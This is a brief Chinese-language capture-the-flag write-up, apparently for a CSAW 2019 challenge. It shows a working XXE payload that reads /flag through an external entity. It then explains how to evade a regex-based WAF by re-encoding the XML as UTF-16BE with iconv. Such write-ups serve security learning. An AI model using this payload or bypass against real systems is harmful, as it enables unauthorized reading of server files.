提示需要上传xml文件,flag在 /flag 中。很容易联想到XXE漏洞来读取。
<?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>gg</username> <password>passwd1</password> <name>ggg</name> <email>alice@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users>
上传显示 WAF blocked uploaded file. Please try again
查了如何绕过WAF保护的XXE的资料:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
用以下命令把上面的文本转为16进制:
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml